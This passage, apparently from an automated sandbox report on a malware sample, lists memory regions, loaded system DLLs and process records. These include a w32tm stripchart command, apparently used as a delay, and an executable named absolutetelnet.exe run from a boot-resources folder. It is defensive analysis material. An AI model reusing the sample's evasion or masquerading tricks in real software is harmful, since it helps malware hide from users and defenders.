"\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3383 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3384 start_va = 0x7ffb1ac70000 end_va = 0x7ffb1adf5fff monitored = 0 entry_point = 0x7ffb1acbd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3385 start_va = 0x2244f8c0000 end_va = 0x2244fa47fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244f8c0000" filename = "" Region: id = 3386 start_va = 0x2244fa50000 end_va = 0x2244fa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244fa50000" filename = "" Region: id = 3387 start_va = 0x2244fa60000 end_va = 0x2244fbe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244fa60000" filename = "" Region: id = 3388 start_va = 0x2244fbf0000 end_va = 0x22450feffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244fbf0000" filename = "" Region: id = 3389 start_va = 0x22450ff0000 end_va = 0x22450ff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022450ff0000" filename = "" Region: id = 3390 start_va = 0x22451000000 end_va = 0x22451000fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451000000" filename = "" Region: id = 3391 start_va = 0x22451010000 end_va = 0x2245103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451010000" filename = "" Region: id = 3392 start_va = 0x39318c0000 end_va = 0x39318fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000039318c0000" filename = "" Region: id = 3393 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3394 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3395 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 3396 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3397 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3398 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3399 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 3400 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3401 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3402 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3403 start_va = 0x22451010000 end_va = 0x2245101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451010000" filename = "" Region: id = 3404 start_va = 0x22451030000 end_va = 0x2245103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451030000" filename = "" Region: id = 3406 start_va = 0x22451040000 end_va = 0x22451376fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3407 start_va = 0x22451380000 end_va = 0x224513d9fff monitored = 1 entry_point = 0x224513953f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3408 start_va = 0x224513e0000 end_va = 0x22451400fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3409 start_va = 0x22451380000 end_va = 0x2245159efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451380000" filename = "" Region: id = 3410 start_va = 0x224515a0000 end_va = 0x224517b5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000224515a0000" filename = "" Region: id = 3411 start_va = 0x224517c0000 end_va = 0x224518cdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000224517c0000" filename = "" Region: id = 3412 start_va = 0x224518d0000 end_va = 0x22451aedfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000224518d0000" filename = "" Region: id = 3413 start_va = 0x22451af0000 end_va = 0x22451c01fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451af0000" filename = "" Region: id = 3414 start_va = 0x3931900000 end_va = 0x393193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003931900000" filename = "" Region: id = 3415 start_va = 0x7ffb1dc80000 end_va = 0x7ffb1ddd9fff monitored = 0 entry_point = 0x7ffb1dcc38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3416 start_va = 0x22451020000 end_va = 0x22451020fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451020000" filename = "" Region: id = 3417 start_va = 0x22451c10000 end_va = 0x22451ccbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451c10000" filename = "" Region: id = 3418 start_va = 0x22451020000 end_va = 0x22451023fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451020000" filename = "" Region: id = 3419 start_va = 0x7ffb1a760000 end_va = 0x7ffb1a781fff monitored = 0 entry_point = 0x7ffb1a761a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3420 start_va = 0x7ffb1ae60000 end_va = 0x7ffb1ae72fff monitored = 0 entry_point = 0x7ffb1ae62760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3421 start_va = 0x7ffb1c5e0000 end_va = 0x7ffb1c635fff monitored = 0 entry_point = 0x7ffb1c5f0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3422 start_va = 0x22451cd0000 end_va = 0x22451cd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022451cd0000" filename = "" Region: id = 3423 start_va = 0x22451ce0000 end_va = 0x22451ce0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451ce0000" filename = "" Region: id = 3424 start_va = 0x22451cf0000 end_va = 0x22451cf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451cf0000" filename = "" Region: id = 3425 start_va = 0x22451d00000 end_va = 0x22451d04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3426 start_va = 0x22451d10000 end_va = 0x22451d10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 3427 start_va = 0x22451d20000 end_va = 0x22451d21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451d20000" filename = "" Region: id = 3428 start_va = 0x7ffb11e90000 end_va = 0x7ffb12103fff monitored = 0 entry_point = 0x7ffb11f00400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 3429 start_va = 0x22451d30000 end_va = 0x22451d30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3430 start_va = 0x22451d40000 end_va = 0x22451d41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022451d40000" filename = "" Thread: id = 168 os_tid = 0x13a8 Thread: id = 169 os_tid = 0x13a4 Thread: id = 170 os_tid = 0x13a0 Thread: id = 171 os_tid = 0x1394 Process: id = "18" image_name = "w32tm.exe" filename = "c:\\windows\\system32\\w32tm.exe" page_root = "0x4c51e000" os_pid = "0x1398" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x13c0" cmd_line = "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3443 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3444 start_va = 0xa9cb000000 end_va = 0xa9cb1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a9cb000000" filename = "" Region: id = 3445 start_va = 0xa9cb200000 end_va = 0xa9cb27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a9cb200000" filename = "" Region: id = 3446 start_va = 0x279eb0c0000 end_va = 0x279eb0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb0c0000" filename = "" Region: id = 3447 start_va = 0x279eb0e0000 end_va = 0x279eb0f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000279eb0e0000" filename = "" Region: id = 3448 start_va = 0x279eb100000 end_va = 0x279eb103fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000279eb100000" filename = "" Region: id = 3449 start_va = 0x279eb110000 end_va = 0x279eb110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000279eb110000" filename = "" Region: id = 3450 start_va = 0x279eb120000 end_va = 0x279eb121fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb120000" filename = "" Region: id = 3451 start_va = 0x7df5ff8d0000 end_va = 0x7ff5ff8cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff8d0000" filename = "" Region: id = 3452 start_va = 0x7ff7d9540000 end_va = 0x7ff7d9562fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d9540000" filename = "" Region: id = 3453 start_va = 0x7ff7da480000 end_va = 0x7ff7da498fff monitored = 0 entry_point = 0x7ff7da48c190 region_type = mapped_file name = "w32tm.exe" filename = "\\Windows\\System32\\w32tm.exe" (normalized: "c:\\windows\\system32\\w32tm.exe") Region: id = 3454 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3455 start_va = 0x279eb130000 end_va = 0x279eb34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb130000" filename = "" Region: id = 3456 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3457 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3458 start_va = 0x279eb0c0000 end_va = 0x279eb0cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000279eb0c0000" filename = "" Region: id = 3459 start_va = 0x7ff7d9440000 end_va = 0x7ff7d953ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d9440000" filename = "" Region: id = 3460 start_va = 0x279eb130000 end_va = 0x279eb1edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3461 start_va = 0x279eb250000 end_va = 0x279eb34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb250000" filename = "" Region: id = 3462 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3463 start_va = 0xa9cb280000 end_va = 0xa9cb2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a9cb280000" filename = "" Region: id = 3464 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3465 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3466 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3467 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3468 start_va = 0x279eb0d0000 end_va = 0x279eb0d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb0d0000" filename = "" Region: id = 3469 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3470 start_va = 0x7ffb15420000 end_va = 0x7ffb15457fff monitored = 0 entry_point = 0x7ffb15438cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3471 start_va = 0x7ffb18c90000 end_va = 0x7ffb18ccdfff monitored = 0 entry_point = 0x7ffb18c9a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 3472 start_va = 0x7ffb1bbe0000 end_va = 0x7ffb1bbebfff monitored = 0 entry_point = 0x7ffb1bbe27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3473 start_va = 0x7ffb1bcc0000 end_va = 0x7ffb1bcf0fff monitored = 0 entry_point = 0x7ffb1bcc7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3474 start_va = 0x7ffb145e0000 end_va = 0x7ffb145f3fff monitored = 0 entry_point = 0x7ffb145e1310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 3475 start_va = 0x7ffb06a80000 end_va = 0x7ffb06aa7fff monitored = 0 entry_point = 0x7ffb06a84a80 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3476 start_va = 0x279eb350000 end_va = 0x279eb43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb350000" filename = "" Region: id = 3477 start_va = 0x279eb1f0000 end_va = 0x279eb1f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000279eb1f0000" filename = "" Region: id = 3478 start_va = 0x7ffb1c0a0000 end_va = 0x7ffb1c0fbfff monitored = 0 entry_point = 0x7ffb1c0b6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3479 start_va = 0x7ffb1b240000 end_va = 0x7ffb1b2e9fff monitored = 0 entry_point = 0x7ffb1b267910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3480 start_va = 0x7ffb1fc10000 end_va = 0x7ffb1fc17fff monitored = 0 entry_point = 0x7ffb1fc11ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3481 start_va = 0x279eb440000 end_va = 0x279eb776fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3482 start_va = 0x7ffb14770000 end_va = 0x7ffb14779fff monitored = 0 entry_point = 0x7ffb147714c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3483 start_va = 0x7ffb14fe0000 end_va = 0x7ffb15046fff monitored = 0 entry_point = 0x7ffb14fe63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3484 start_va = 0x279eb200000 end_va = 0x279eb206fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32tm.exe.mui" filename = "\\Windows\\System32\\en-US\\w32tm.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\w32tm.exe.mui") Thread: id = 173 os_tid = 0x1390 Thread: id = 174 os_tid = 0x1124 Process: id = "19" image_name = "absolutetelnet.exe" filename = "c:\\boot\\resources\\en-us\\absolutetelnet.exe" page_root = "0x70cbd000" os_pid = "0x4e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x364" cmd_line = "C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3486 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3487 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3488 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3489 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3490 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3491 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3492 start_va = 0xbb0000 end_va = 0xda9fff monitored = 1 entry_point = 0xda131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 3493 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3494 start_va = 0x7ff5ff750000 end_va = 0x7ff5ff772fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff750000" filename = "" Region: id = 3495 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3645 start_va = 0x400000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3646 start_va = 0x7ffb06a40000 end_va = 0x7ffb06aa7fff monitored = 1 entry_point = 0x7ffb06a44970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3647 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3648 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3863 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3864 start_va = 0x7ff5ff650000 end_va = 0x7ff5ff74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff650000" filename = "" Region: id = 3865 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3866 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3867 start_va = 0x5f0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3868 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3869 start_va = 0x7ffb1afd0000 end_va = 0x7ffb1b048fff monitored = 0 entry_point = 0x7ffb1afefb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3870 start_va = 0x7ff5ff5d0000 end_va = 0x7ff5ff64dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3871 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3872 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3873 start_va = 0x6e0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3874 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3875 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3876 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4152 start_va = 0x180000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4153 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4154 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4155 start_va = 0x7ffb06770000 end_va = 0x7ffb0680cfff monitored = 1 entry_point = 0x7ffb06771010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4749 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4750 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4751 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4752 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 